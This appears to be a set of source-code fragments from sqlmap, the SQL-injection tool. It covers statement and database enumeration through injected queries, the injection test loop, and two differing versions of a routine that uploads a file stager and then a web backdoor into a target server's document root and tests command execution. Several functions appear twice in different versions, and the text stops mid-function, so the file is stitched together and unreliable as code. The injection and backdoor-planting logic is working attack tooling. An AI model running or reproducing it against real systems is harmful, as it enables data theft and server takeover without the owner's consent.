if not isNoneValue(values):
kb.data.cachedStatements = []
for value in arrayizeValue(values):
value = (unArrayizeValue(value) or "").strip()
if not isNoneValue(value):
kb.data.cachedStatements.append(value.strip())
elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query:
query = query.replace("query", "current_query")
continue
break
if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of statements"
logger.info(infoMsg)
query = rootQuery.blind.count
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedStatements
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of statements"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
value = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes
query = rootQuery.blind.query3 % index
identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))
if not isNoneValue(identifier):
query = rootQuery.blind.query2 % identifier
value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))
if isNoneValue(value):
query = rootQuery.blind.query % index
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(value):
kb.data.cachedStatements.append(value)
if not kb.data.cachedStatements:
errMsg = "unable to retrieve the statements"
logger.error(errMsg)
else:
kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements]
return kb.data.cachedStatements
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(
map(lambda _: _ in output,
(kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(
items) and len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item) and len(item)
== len(expressionFieldsList)
]
index = None
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start,
"").replace(kb.chars.stop,
"").split(kb.chars.delimiter)
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
safecharencode(",".join(
"\"%s\"" % _ for _ in flattenValue(
arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(
" AND '%s' != %s" %
(unsafeSQLIdentificatorNaming(db), dbCond)
for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query = query % (dbQuery + exclDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = arrayizeValue(values)
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
if not values and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query = query % (dbQuery + exclDbsQuery)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query = query % (dbQuery + exclDbsQuery)
query = agent.limitQuery(index, query, dbCond)
value = unArrayizeValue(
inject.getValue(query, union=False, error=False))
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
conf.dumper.lister("found databases", foundDbs)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(
isinstance(_, basestring)
for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace(
"//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
"//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(
directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(
docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(
r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(
normalizePath("%s/%s" % (localPath, stagerName))).replace(
"//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
# Fall-back to UNION queries file upload technique
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
localPath.replace('/', '\\\\')
if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath,
"text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH,
'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (
self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(
backdoorName,
posixToNtSlashes(localPath)
if Backend.isOs(OS.WINDOWS) else localPath,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(
normalizePath("%s/%s" %
(localPath, backdoorName))).replace(
"//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if conf.realTest or readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
for boundary in conf.boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
